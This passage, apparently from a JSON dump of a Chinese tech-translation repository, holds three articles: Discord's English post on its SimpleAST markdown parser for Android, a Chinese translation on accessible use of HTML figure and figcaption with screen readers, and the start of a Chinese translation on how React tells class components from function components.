    "content": "> * 原文地址：[How Discord Renders Rich Messages on the Android App\n](https://blog.discordapp.com/how-discord-renders-rich-messages-on-the-android-app-67b0e5d56fbe)\n> * 原文作者：[Andy Garron](https://blog.discordapp.com/@andygarron?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-discord-renders-rich-messages-on-the-android-app.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-discord-renders-rich-messages-on-the-android-app.md)\n> * 译者：\n> * 校对者：\n\n# How Discord Renders Rich Messages on the Android App\n\n![](https://cdn-images-1.medium.com/max/2000/1*00kEvmqaOlUCqDuGXc-lkA.png)\n\nDiscord’s chat messages support both [markdown](https://support.discordapp.com/hc/en-us/articles/210298617-Markdown-Text-101-Chat-Formatting-Bold-Italic-Underline-) and direct mentions of users, roles, channels, and various other entities. Detecting and rendering rich content in messages is a more complex challenge than it may appear on the surface.\n\nThis post will detail how our clients detect and render markdown and entity mentions in messages. In particular, the Discord Android app required a homegrown solution to maintain parity with the Desktop and iOS clients. As a result, we’ve open-sourced [SimpleAST](https://github.com/discordapp/simpleast), our Android parsing and rendering solution. Read on to learn more about Discord’s approach to rich messages, and how we solve this challenge on Android!\n\n### simple-markdown to the rescue\n\nOne issue of particular interest is the case of entity mentions, i.e. direct references to users, roles, or channels. In these cases, we want messages to reflect name changes. For example, a message may mention me: **@AndyG.** If I decide to change my name to **xXSSJ4AndyGXx**, this old message should now render as **@xXSSJ4AndyGXx** instead.\n\nTo accomplish this, we avoid sending **@AndyG** as raw text in the message. Instead, we send `<@123456789>`, a reference to my user ID. This puts the burden on the receiving-end Discord clients to detect mentions in messages, and transform them back into the appropriate username when rendering the message.\n\nIn order to do so, our clients need a parsing + rendering system that that satisfies three major requirements:\n\n1.  **Extensibility**: the system must detect basic markdown (like _italics_ and **bold**) as well as artisanal strategies like the @**User** mention described above.\n2.  **Structure**: the system should lend structure to the otherwise unstructured raw text. With structure, the messages can be inspected and post-processed as we see fit.\n3.  **Performance**: gotta go fast.\n\nWe found a solution in **Khan Academy’s open-source** [**simple-markdown**](https://github.com/Khan/simple-markdown) **library.** The web, desktop, and iOS versions of the Discord app are all written in JavaScript, so simple-markdown could be used directly.\n\nThe simple-markdown process looks like this:\n\n1.  Clients define a list of **rules** which define the various formatting and entities (like an **@User** mention) that can appear in text. This meets our **extensibility** requirement.\n2.  The simple-markdown **parser** uses that list of rules to transform raw text into an **Abstract Syntax Tree (AST).** This meets our **structure** requirement.\n3.  The generated **AST** is then passed into a **renderer**,  where it is transformed  into some format that the client can display and interact with.\n\nBy adding our own rules, we can support various types of rich content in messages:\n\n![](https://cdn-images-1.medium.com/max/800/1*ChNBPlV04DvH0-oxMvYX6Q.png)\n\nThese rules are made NOT to be broken (we hope).\n\n### **Do Androids Dream of Feature Parity?**\n\n**simple-markdown** worked great for the Discord desktop and iOS clients, but left our Android app out in the cold, since our Android app is built natively, not React Native (as discussed in a [previous blog post](https://blog.discordapp.com/using-react-native-one-year-later-91fd5e949933)). Without a parser of our own, we could still easily replace entities like **@User** mentions with a find/replace to detect `<@123456789>`  occurrences when rendering the message.  In fact, the Android app functioned like this for some time in 2016. Certain problems proved extremely difficult to solve, however:\n\n*   With our naive regexes on Android, there were many rendering inconsistencies between the Android app and our other clients. For example, formatting (like **bold**)  worked inside of `code blocks` — it shouldn’t.\n*   We were not able to directly port the parser rules from the Desktop client. Any time Discord added a new rule, we had to worry about introducing weird edge-cases on Android, or at least losing parity.\n*   Discord’s desktop search feature allows for structured query parameters like `from: AndyG#0001` (among others). We were about to implement search on Android and we knew that leaning on a robust parser would make it easier to detect and use such structured parameters.\n\nThe writing was on the wall: if we were going to maintain parity without excessive engineering effort, we were going to need our own version of simple-markdown that ran on the JVM to power our Android app.\n\n### The One Where Chandler Explains Parsing\n\nRemember that the system we wanted would need to do two things:\n\n1.  **Parse** raw text into an [Abstract Syntax Tree](https://en.wikipedia.org/wiki/Abstract_syntax_tree)\n2.  **Render** that AST as text on Android\n\nWe’ll focus on **parsing** for now. Remember the three components that constitute the parse step:\n\n1.  `Node` : a node in an AST which can have children. This defines how we represent an AST in code\n2.  `Rule` : a rule which defines what types of nodes are generated by what types of text\n3.  `Parser` : using a list of rules, takes raw text and turns it into a collection of nodes\n\n![DirectReadyGuineafowl-mobile.gif](https://i.loli.net/2018/10/09/5bbc73c8efcbb.gif)\n\nRare footage of a Parser generating an Abstract Syntax Tree.\n\nFor the code-inclined, an example `Rule` looked like this:\n\n```\n// Matches: **This text should be bold.**\nval PATTERN_BOLD = Pattern.compile(\"^\\\\*\\\\*([\\\\s\\\\S]+?)\\\\*\\\\*(?!\\\\*)\")\n\nclass BoldRule : Parser.Rule(PATTERN_BOLD) {\n  override fun parse(matcher: Matcher, parser: Parser): Node {\n    val boldSpan = StyleSpan(Typeface.BOLD)\n    \n    // Recursively parse inside the **delimiters**\n    val childNodes = parser.parse(matcher.group(1))\n    return StyleNode(StyleSpan(Typeface.BOLD, childNodes))\n  }\n}\n```\n\nExample Rule: Generates a Node that turns text **bold**\n\nNote that the  `Parser` processes the input **left-to-right** as rules are matched. To support that, a Pattern that defines a Rule MUST only match with text at the BEGINNING of the source. This is why we include the `^` character at the beginning of all of our `Rule` patterns!\n\nThis was our initial `Parser` implementation:\n\n```\nclass Parser(private val rules: List<Rule>) {\n\n  fun parse(source: CharSequence): List<Node> {\n    val ast = ArrayList<Node>()\n    var mutableSource = source\n\n    while (mutableSource.isNotEmpty()) {      \n      \n      // Find a rule that matches the source.\n      for (rule in rules) {\n       \n        val matcher = rule.pattern.matcher(mutableSource)\n        if (matcher.find()) {\n          // Grab the text that matched the rule.\n          // This looks like **...text...** for the bold rule.\n          val match = matcher.group()\n          \n          // Trim off the part of the source that matches the rule.\n          // This step is why Rules must only match the beginning of the source!\n          mutableSource = mutableSource.subSequence(match.length, mutableSource.length)\n\n          // Pass the matched text to the rule for further processing.\n          // Then add the generated node to the result.\n          val node = rule.parse(matcher, this)\n          ast.add(node)\n          \n          // We have matched a rule and modified the source.\n          // Start our search for a matching rule from the beginning.\n          break\n        }\n      }\n    }\n\n    return ast\n  }\n}\n```\n\nBasic Parser\n\n**Hello** `**StackOverflowException**`**, My Old Friend**\n\nOur `Rule` interface required each `Rule` to return a `Node` with all its children _already_ parsed and populated. To accomplish this, many `Rule` instances were calling `parser.parse()` on the text they were inspecting. This algorithm was simple to understand, but meant we could **recurse arbitrarily deeply** if we nested formatting. In other words, nest enough formatting in a message, and you could trivially crash the app by causing a **stack overflow**!\n\nWe needed `Rule` instances to contribute their information to the AST **without recursively parsing** their content. We solved this by having each `Rule` return only a single top-level `Node`. If it was a non-terminal `Node` (like a bold or italics node), it would also specify start and end indices that inform the `Parser` what slice of the original input needs to be parsed to supply that node’s children. In other words, our rules now return both a `Node` and a potential “deferred parse” specified in a `ParseSpec` class:\n\n```\n// **This text should be bold.**\nval PATTERN_BOLD = Pattern.compile(\"^\\\\*\\\\*([\\\\s\\\\S]+?)\\\\*\\\\*(?!\\\\*)\")\n\nclass BoldRule : Rule(PATTERN_BOLD) {\n  override fun parse(matcher: Matcher, parser: Parser): ParseSpec {\n    val boldNode = StyleNode(StyleSpan(Typeface.BOLD))\n    val innerParseStartIndex = matcher.start(1)\n    val innerParseEndIndex = matcher.end(1)\n\n    // Don't actually recursively parse, just return a ParseSpec that informs the Parser\n    // what work remains to be done\n    return ParseSpec.createNonterminal(boldNode, innerParseStartIndex, innerParseEndIndex)\n  }\n}\n```\n\n10% more confusing, 100% less likely to cause a stack overflow.\n\nThis allows us to change our parse strategy to use an explicit 🥞 stack 🥞 that tracks what parsing still needs to be done. The stack typically does not grow larger than a few elements in practice, as new `ParseSpec` instances are used immediately. For implementation details, see the source code [here](https://github.com/angarron/SimpleAST/blob/unroll/simpleast-core/src/main/java/com/agarron/simpleast_core/parser/Parser.kt#L24).\n\n### Performance Analysis\n\nThe app functioned with this parser for a very long time. We still noticed a little chug on older phones (which represent a significant portion of our user base), but it wasn’t immediately obvious where any performance improvements could be squeezed out of the parser.\n\nWe used the [Android Profiler](https://developer.android.com/studio/profile/android-profiler.html) (introduced last year in Android Studio 3.0), which provides a [flame chart](https://developer.android.com/studio/profile/cpu-profiler.html#flame_chart) that aggregates method calls into a readable form that makes it easier to see where you are spending your computational time. We noticed that a lot of time was spent in the method `Pattern.matcher()`, which creates a new `Matcher` instance:\n\n![](https://cdn-images-1.medium.com/max/800/1*Gncnw27JyiIKtCUwB0QMyA.png)\n\nFlame chart showing the impact of Pattern.matcher()\n\nIt appeared that most of our time during a parse was actually spent inside of `Matcher.<init>`, in particular in `Matcher.usePattern`, with some time in `Matcher.reset`. It was strange to spend a lot of time here — why were we creating so many `Matcher` instances? We looked around for initialization points of `Matcher`, and the culprit lay in [this line](https://gist.github.com/angarron/bee8744ae18bd5fdd128b6f7a2dfba12#file-parser-kt-L11) of the`Parser`:\n\n```\n// Create a new Matcher instance for the source being inspected\nval matcher = rule.pattern.matcher(mutableSource)\n```\n\nInstantiating a `Matcher` every time we want to use a rule to inspect the text was expensive and, as it turns out, unnecessary:`Matcher` has a method that is specifically designed to allow a single instance to be reused multiple times on different sources.\n\nUp until this point, we had bundled `Pattern` instances inside our `Rule` objects. Thanks to the Android Profiler, we identified this issue and began bundling prebuilt`Matcher` instances instead:\n\n```\n// Use the existing Matcher, just point it at the new source\nval matcher = rule.matcher.reset(mutableSource)\n```\n\nUsing this strategy, we were able to see as much as a **2.4x** speedup on certain real-world messages, depending on the complexity of the parse parsing needed to be done.\n\n**Warning:** If `Rule` (and by extension, `Parser`) instances are shared across threads, multiple threads could `reset` the same `Matcher` to different source texts. Therefore, usages of a given `Rule` or `Parser` instance should be confined to a single thread.\n\n### Will it rend?\n\nWe’ve got an AST now with nodes that represent various pieces of text, styles, and other entities like user mentions, emojis, etc.\n\nRendering is a simple process compared to parsing. Android has a mechanism for building text with various styles: a `SpannableStringBuilder`. We create a `[SpannableStringBuilder](https://developer.android.com/reference/android/text/SpannableStringBuilder.html)` and pass it to each node; they operate on the builder in turn. To facilitate this, a `Node<T>` in SimpleAST has the following method:\n\n```\nfun render(builder: SpannableStringBuilder, renderContext: T)\n```\n\n*   In simple cases, nodes may simply append text to the builder, apply styles to the text in the builder, or make the text clickable or otherwise interactable.\n*   In more complex cases, nodes may specify a type `T` that provides information that they need in order to render themselves, ie.e. their `renderContext`. This could be something as simple as and Android `Context` so that the node can resolve resources, or it could be a data structure that, for example, facilitates the node looking up usernames for a given user ID.\n\n![LegitimateBogusBlackbird-mobile.gif](https://i.loli.net/2018/10/09/5bbc748558036.gif)\n\nEven rarer footage of an AST being rendered into a SpannableStringBuilder.\n\n### Marching Ever Onward To Tomorrow\n\nSimpleAST currently powers the Android app’s message rendering, and we’re happy with its performance, robustness, and extensibility. It also lends us the power to keep up with the fast-changing requirements of Discord as a product, since porting parser rules to Android is such a breeze.\n\nThat said, there are some opportunities we see with both SimpleAST and its use in our app going forward:\n\n*   **Parse off the UI thread:** We parse and render each message **on the UI thread** on-demand as the message rendered on the screen. This means that during fast scrolls, there can be a noticeable frame drop, especially on low-end devices. Instead, we could parse the messages at an earlier stage in the pipeline, on a thread pool dedicated to parsing these messages. The upside is  that this would make the scrolling experience butter-smooth on all devices. However, if implemented naively,  it could manifest as a longer load-time for batch messages loading. Intelligently implementing message parsing off the UI thread is one of the most exciting opportunities for performance improvements in the Android app today.\n*   **Further SimpleAST performance improvements:** We will continue to push more performance out of the SimpleAST library, with a helping hand from the Android Profiler.\n\n**We’re always looking for the next great addition to our engineering teams at Discord. If the problems described here sound interesting to you, and especially if you are a gamer at heart, [check out our available positions here_](https://discordapp.com/jobs).**\n\n**If you would like to use or contribute to SimpleAST, check out the open source project [here](https://github.com/discordapp/simpleast).**\n\nThanks to [Miguel Gaeta](https://medium.com/@mrkcsc?source=post_page), [Brian Armstrong](https://medium.com/@brian.discord?source=post_page), [Nelly](https://medium.com/@discordnelly?source=post_page), [Victoria Sun](https://medium.com/@victoria_78327?source=post_page), and [Michael Fong](https://medium.com/@michael.fong?source=post_page).\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-do-you-figure.md",
    "content": "> * 原文地址：[How do you figure?](https://www.scottohara.me/blog/2019/01/21/how-do-you-figure.html)\n> * 原文作者：[scottohara](https://www.scottohara.me)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-do-you-figure.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-do-you-figure.md)\n> * 译者：[Hyde Song](https://github.com/HydeSong)\n> * 校对者：[xionglong58](https://github.com/xionglong58), [xujiujiu](https://github.com/xujiujiu)\n\n# [译] 你认为“figure”怎么用？\n\n作为 HTML5 新引入的元素，`figure` 和 `figcaption` 元素是为了创建有意义的标记结构：\n\n* 为一段内容提供一个描述性标签，\n* 该标签与当前文件相关，但用户对它的理解并不重要。\n\n为了得到更具体的信息，让我们分别来了解一下这些元素。\n\n## `figure` 元素\n\n通常 `figure` 元素被认为用来包裹图或图表，它还可以承载文档主要内容中引用的但不是冗余信息的任何内容(代码片段、引用、音频、视频等)。在文档流中可以把 `figure` 完全删除，而不会影响用户对主要内容的理解。\n\n例如，描述 unladen Swallow 空速的文档，可能有一节描述南非燕子和欧洲燕子之间的差异。伴随文本内容的可能是一个 `figure` 标签，并排展示了这两种鸟类的差异，以补充文档中描述的信息。\n\n![一篇文章的截图，使用与主要内容错开的图像来表示南非燕子和欧洲燕子之间的视觉差异。图片的文字说明左边是南非燕子，右边是欧洲燕子。](https://scottohara.me/assets/img/articles/swallow-figure.jpg)\n\n在这个基本的例子中，`figure` 和 `figcaption` 起到了引用前文内容的作用。如果去掉它们，目前为止所有的文本信息依然起到了 `figure` 的作用。\n\n[图片源（2003）](http://style.org/unladenswallow/)。\n\n使用 `figure` 时可以加上或不加 `figcaption` 标签。但是，不加 `figcaption` 标签，或者不提供其他可访问的属性（比如 `aria-label`），单独使用 `figure` 在表达其语义上价值不大。在某些情况下，如果没有给定可访问的属性，可能表达不出任何语义。\n\n## `figcaption` 元素\n\n`figcaption` 为 `figure` 所含的内容提供标题或摘要。如果在 `figure` 上不使用 `aria-label` 或 `aria-labelledby` 属性，`figcaption` 会成为 `figure` 元素的可访问属性。\n\n`figcaption` 可以放在 `figure` 的主要内容之前或之后，但是它必须是 `figure` 元素的直接子元素。\n\n推荐的用法：\n\n```\n<figure>\n  <figcaption>...</figcaption>\n  <!-- figure 的内容 -->\n</figure>\n\n<figure>\n  <!-- figure 的内容 -->\n  <figcaption>...</figcaption>\n</figure>\n\n<figure>\n  <figcaption>\n    <div>\n      ...\n    </div>\n  </figcaption>\n  <!-- figure 的内容 -->\n</figure>\n```\n\n不推荐的用法：\n\n```\n<figure>\n  <div>\n    <figcaption>...</figcaption>\n  </div>\n  <!-- figure 的内容 -->\n</figure>\n\n<figure>\n  <!-- figure 的内容 -->\n  <div>\n    <figcaption>...</figcaption>\n  </div>\n</figure>\n```\n\n`figcaption` 可能包含 [流式内容](https://html.spec.whatwg.org/multipage/dom.html#flow-content-2)，它将 `body` 元素的大多数子元素进行分类。但是，由于 `figcaption` 元素的作用是为 `figure` 的内容提供标题，所以通常更倾向于使用简洁的描述性文本。`figcaption` 不应该重复 `figure` 的内容，或者重复主文档中的其他内容。\n\n### `figcaption` 不能代替 `alt` 文本\n\n对于 `figure` 中使用的图像，使用 `figcaption` 时最大的误解之一是它用于替代图像 `alt` 文本。[HTML 5.2](https://www.w3.org/TR/html52/semantics-embedded-content.html#when-a-text-alternative-is-not-available-at-the-time-of-publication) 中规定，这种做法是只有当作者没有为图片提供适当的 `alt` 文本时，力求传递有意义信息的最后的“杀手锏”。\n\n一段来自 HTML 5.2 的说明：\n\n> 这种情况应保持在绝对最低限度。如果作者有能力提供真正的替代文本，那么省略 `alt` 属性是不可接受的。\n\n`figcaption` 是用来为 `figure` 提供标题和摘要的，将其与包含 `figure` 的文档关联起来，或者传递附加的信息，这些信息可能在查看 `figure` 本身时并不明显。\n\n如果给一张图片一个空的 `alt`，那么 `figcaption` 实际上什么也没有描述。这说不通，对吧？\n\n换句话说，让我们看看一个包含 Sass 代码片段的 `figure`：\n\n```\n<figure>\n  <pre><code>\n    $align-list: center, left, right;\n\n    @each $align in $align-list {\n      .txt-#{$align} {\n        text-align: $align;\n      }\n    }\n  </code></pre>\n  <figcaption>\n    使用 Sass 的 @each 循环控制指令编译成\n    三个 CSS class；.txt-center，.txt-left，和 .txt-right。\n  </figcaption>\n</figure>\n```\n\n与 `figure` 中 `alt` 为空的图像相比，这就像在代码段中放入 `aria-hidden=\"true\"`。这样做将使屏幕阅读器和其他辅助技术无法解析标题引用的内容。然而，不幸的是，这反映了 `figure` 中图片通常发生的情况。\n\n你可能会认为，“很明显，标题的作用应该跟图片的 `alt` 文本一样，不是吗？”。这个假设有两个问题：\n\n**首先**，什么是图片？当图片的 `alt` 为空时，屏幕阅读器不会显示出这张图片，也不会被发现。如果图片中没有 `alt` 键，**某些**屏幕阅读器会显示图像的文件名，但不是所有的屏幕阅读器都会这样（比如 JAWS，有调整这些行为的设置。但默认忽略这些图像）。\n\n**其次**，`alt` 属性传达图片呈现的重要信息。`figcaption` 应该提供上下文，以便将 `figure`（图片）与主文档关联起来，或者显示需要注意的特定信息。如果 `figcaption` 代替了 `alt`，那么这就为无视力障碍的用户创建了重复的信息。\n\n误用 `figcaption` 代替图像 `alt` 还有其他问题。但要发现这些问题，我们需要了解屏幕阅读器如何解析 `figure`。\n\n## `figure` 元素和屏幕阅读器\n\n既然我们已经知道了应该如何使用 `figure` 及其标题，那么这些元素在屏幕阅读器上是如何表现的呢?\n\n理想情况下，`figure` 应该声明 role 属性和 `figcaption` 的内容作为可访问属性。然后，用户应该能够找到 `figure` ，并独立地与 `figure` 和 `figcaption` 的内容进行交互。对于不完全支持 `figure` 的浏览器，像 Internet Explorer 11, [ARIA 的 `role=\"figure\"` 属性](https://www.w3.org/TR/wai-aria-1.1/#figure) 和 `aria-label` 属性可用于帮助提高某些屏幕阅读器识别标签的可能性。\n\n以下是测试过的屏幕阅读器在默认设置下如何在不同的浏览器中显示（或不显示）这些信息的摘要：\n\n### JAWS 18 的 2018 和 2019 版本\n\nJAWS 对原生 figure 和 标题有最好的支持，尽管根据浏览器和 JAWS 的详细设置，支持并不完美和一致。\n\nIE11 需要使用 `role=\"figure\"`、`aria-label` 或 `aria-labelledby` 指向 `figcaption` 来模拟原生元素的属性。IE11 不支持原生元素并不奇怪，因为 [HTML5 可访问性的 IE11 浏览器评级](https://www.html5accessibility.com/)永远不会改进。但至少 ARIA 可以提供语义。\n\n无论是否使用 ARIA，Edge 都不会声明 figure 的 role 属性。一旦 [Edge 浏览器切换到 Chromium 内核](https://www.windowscentral.com/faq-edge-chromium)，这种情况可能会改变。\n\nChrome 和 Firefox 提供了类似的支持，但是如果一个图片有一个空的 `alt` 或缺少 `alt` 属性，JAWS（默认的详细设置）Chrome 会**完全忽略** `figure`（包括它的 `figcaption` 的内容）。\n\n这意味着 [在各种 Medium 文章中](https://twitter.com/aardrian/status/923536098734891009) 那些伴随图片的标题，都被与 Chrome 配合使用的 JAWS 完全忽略了。如果 JAWS 的设置更新能声明所有图像（例如没有提供 `alt` 属性或值的图片），那么 JAWS 使用 Chrome 声明这些 figure 标题。\n\n不像 Chrome，在 JAWS 上使用 Firefox，图片的 `alt` 为空或缺失，`figure` 和 `figcaption` **仍然会被识别**。但是由于图片将被完全忽略，使用屏幕阅读器的人不得不推断 figure 的主要内容是不是图片。\n\n### NVDA 屏幕阅读器\n\n在使用 IE11、Edge、Firefox 64.0.2 和 Chrome 71 测试 NVDA 2018.4.1 版本时，没有发现任何 figure。最接近的迹象是 NVDA + IE11 在声明图片或 `figcaption` 内容之前声明 “edit”（不过 “edit” 没有任何意义...）。测试 `role=\"figure\"` 模式并没有改变缺少声明的情况。figure 的内容仍然可以访问，但是不会表现内容和标题之间的关系。\n\n### VoiceOver（macOS）\n\n测试在 macOS 10.14.2 上使用 Safari（12.0.2）和 Chrome（71.0.3578.98）进行，并使用了 VoiceOver 9。\n\n#### Safari\n\n当使用 Safari 进行测试时，`figure` 将会显示出它的 role 属性。如果没有语义化的属性（例如没有 `figcaption`, `aria-label` 等），则不会显示出 `figure` 的 role 属性。\n\nVoiceOver 可以导航到 `figure`，并单独与 `figure` 和 `figcaption` 的主要内容进行交互。\n\n#### Chrome\n\n尽管 Chrome 的可访问性检查器指出 `figure` 的语义正在被揭示，可访问属性由标题提供，但 VoiceOver 并不像 Safari 那样定位或声明 `figure` 的存在。除非 `figure` 特别有一个 `aria-label ` 属性。使用 `figure` 上的 `aria-labelledby` 或 `aria-labelledby` 指向 `figcaption`，`figure` **不会**被 VoiceOver 识别 。为了正确地向 VoiceOver 传达 figure，使用 Chrome 时需要以下标记：\n\n```\n<!-- \n  aria-label 需要重复 figcaption 的内容，按预期声明 figure。\n-->\n<figure aria-label=\"Figcaption 内容放这儿。\">\n  <!-- figure 内容 -->\n  <figcaption>\n    Figcaption 内容放这儿。\n  </figcaption>\n</figure>\n```\n\n在 `figure` 元素上加一个 `role=\"figure\"` 属性，或者用其他元素替代 `<figure>`，仍然需要添加 `aria-label` 来让 VoiceOver 使用 Chrome 时识别 role 属性。\n\n### VoiceOver（iOS 12.1.2）\n\n在用 VoiceOver 测试 Safari 和 Chrome 时，没有显示出 `figure`，也没有显示出 `figure` 的内容和标题之间的关系。`<figure>` 和 `role=\"figure\"` 模式都产生了相同的结果。\n\n### TalkBack（Android 8.1 上的 7.2 版）\n\n在测试 Chrome（70）和 Firefox（63.0.2）时，没有显示出任何 `figure`，也没有显示出 `figure` 内容与其标题之间的关系。`<figure>` 和 `role=\"figure\"` 模式都产生了相同的结果。\n\n### Narrator & Edge 42 / EdgeHTML 17\n\nNarrator 根本没有显示出 `figure` 的 role。但是，原生元素和 `role=\"figure\"` 确实对 `figure` 的内容的声明方式有影响。当 `figure` 具有语义化属性时，`figure` 的内容（例如图像的 `alt` 文本）和 `figure` 的语义化属性（`figcaption` 内容或 `aria-label`）将同时显示。如果图片的 `alt` 值为空，则会完全忽略 `figure` 及其 `figcaption`。\n\n## 总结\n\n根据 `figure` 及其标题的预期用例，以及目前屏幕阅读器对这些元素的支持，如果你想确保语义传达给尽可能多的受众，应该考虑以下标记模式：\n\n```\n<figure role=\"figure\" aria-label=\"repeat figcaption content here\">\n  <!-- figure content. if an image, provide alt text -->\n  <figcaption>\n    figure 的标题。\n  </figcaption>\n</figure>\n\n<!--\n  使用 aria-label 兼容 macOS VoiceOver 和 Chrome\n  使用 role=\"figure\" 兼容 IE11。\n\n  IE11 需要一个可访问的属性（由 aria-label 提供）。\n  如果不是因为 VO + Chrome 不支持\n  可访问的属性：aria-labelledby，该属性\n  会被优先/指向 <figcaption> 的 ID。\n-->\n```\n\n此模式将确保下面的搭配显示 `figure` 的 role 属性及其标题：\n\n* JAWS 配备 Chrome、Firefox 和 IE11。\n* macOS VoiceOver 配备 Safari 和 Chrome。\n* Edge 和 Narrator 将创建一个关系，但不会声明 `figure` 的 role 属性。\n\n目前，移动屏幕阅读器不会显示 `figure`，Edge 浏览器也不会，除非与 Narrator（类似）配对使用，或任何浏览器与 NVDA 配对使用。但不要让这些差距阻碍你按照规范的预期使用元素。\n\n随着 Edge 转为 Chromium内核，更好的支持在不久的将来可能成为现实。虽然 NVDA 和移动屏幕阅读器没有声明语义，但内容仍然是可访问的。[把 bug 记录下来](https://github.com/nvaccess/nvda/issues/9177) 是我们目前能为这些漏洞带来改变做的最好的事情。\n\n感谢大家点击 [Steve Faulkner](https://twitter.com/stevefaulkner) 来评审我的测试并阅读本篇文章。\n\n### 拓展阅读\n\n下面是更多关于 `figure` 的和 `figcaption` 的资源和上文使用的测试页面/结果，以及 JAWS 和 NVDA 归档的 bug：\n\n*   [HTML Accessibility API Mappings 1.0: `figure` and `figcaption` elements](https://w3c.github.io/html-aam/#figure-and-figcaption-elements), W3C\n*   [HTML5 Accessibility](https://www.html5accessibility.com/)\n*   [HTML5 Doctor: `figure` and `figcaption`](http://html5doctor.com/the-figure-figcaption-elements/), (2010)\n*   [HTML5 Accessibility Chops: the figure and figcaption elements](https://developer.paciellogroup.com/blog/2011/08/html5-accessibility-chops-the-figure-and-figcaption-elements/), Steve Faulkner (2011)\n*   [ARIA 1.1: `figure` role](https://www.w3.org/TR/wai-aria-1.1/#figure)\n*   [`figure` and `figcaption` test page](https://scottaohara.github.io/testing/figure/)\n*   [JAWS + Chrome bug filed](https://github.com/FreedomScientific/VFO-standards-support/issues/161)\n*   [NVDA bug to support `figure`s](https://github.com/nvaccess/nvda/issues/9177)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-does-react-tell-a-class-from-a-function.md",
    "content": "> * 原文地址：[How Does React Tell a Class from a Function?](https://overreacted.io/how-does-react-tell-a-class-from-a-function/)\n> * 原文作者：[Dan Abramov](https://mobile.twitter.com/dan_abramov)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-does-react-tell-a-class-from-a-function.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-does-react-tell-a-class-from-a-function.md)\n> * 译者：[Washington Hua](https://tonghuashuo.github.io)\n> * 校对者：[nanjingboy](https://github.com/nanjingboy), [sunui](https://github.com/sunui)\n\n# React 如何区分 Class 和 Function？\n\n让我们来看一下这个以函数形式定义的 `Greeting` 组件：\n\n```\nfunction Greeting() {\n  return <p>Hello</p>;\n}\n```\n\nReact 也支持将他定义成一个类：\n\n```\nclass Greeting extends React.Component {\n  render() {\n    return <p>Hello</p>;\n  }\n}\n```\n\n（直到 [最近](https://reactjs.org/docs/hooks-intro.html)，这是使用 state 特性的唯一方式）\n\n当你要渲染一个 `<Greeting />` 组件时，你并不需要关心它是如何定义的：\n\n```\n// 是类还是函数 —— 无所谓\n<Greeting />\n```\n\n但 **React 本身**在意其中的差别！\n\n如果 `Greeting` 是一个函数，React 需要调用它。\n\n```\n// 你的代码\nfunction Greeting() {\n  return <p>Hello</p>;\n}\n\n// React 内部\nconst result = Greeting(props); // <p>Hello</p>\n```\n\n但如果 `Greeting` 是一个类，React 需要先用 `new` 操作符将其实例化，**然后** 调用刚才生成实例的 `render` 方法：\n\n```\n// 你的代码\nclass Greeting extends React.Component {\n  render() {\n    return <p>Hello</p>;\n  }\n}\n\n// React 内部\nconst instance = new Greeting(props); // Greeting {}\nconst result = instance.render(); // <p>Hello</p>\n```\n\n无论哪种情况 React 的目标都是去获取渲染后的节点（在这个案例中，`<p>Hello</p>`）。但具体的步骤取决于 `Greeting` 是如何定义的。\n\n**所以 React 是怎么知道某样东西是 class 还是 function 的呢？**\n\n就像我 [上一篇博客](https://overreacted.io/why-do-we-write-super-props/) 中提到的，**你并不需要知道这个才能高效使用 React。** 我几年来都不知道这个。请不要把这变成一道面试题。事实上，这篇博客更多的是关于 JavaScript 而不是 React。\n\n这篇博客是写给那些对 React 具体是 **如何** 工作的表示好奇的读者的。你是那样的人吗？那我们一起深入探讨一下吧。\n\n**这将是一段漫长的旅程，系好安全带。这篇文章并没有多少关于 React 本身的信息，但我们会涉及到 `new`、`this`、`class`、箭头函数、`prototype`、`__proto__`、`instanceof` 等方面，以及这些东西是如何在 JavaScript 中一起工作的。幸运的是，你并不需要在使用 React 时一直想着这些，除非你正在实现 React...**\n\n（如果你真的很想知道答案，直接翻到最下面。）\n\n* * 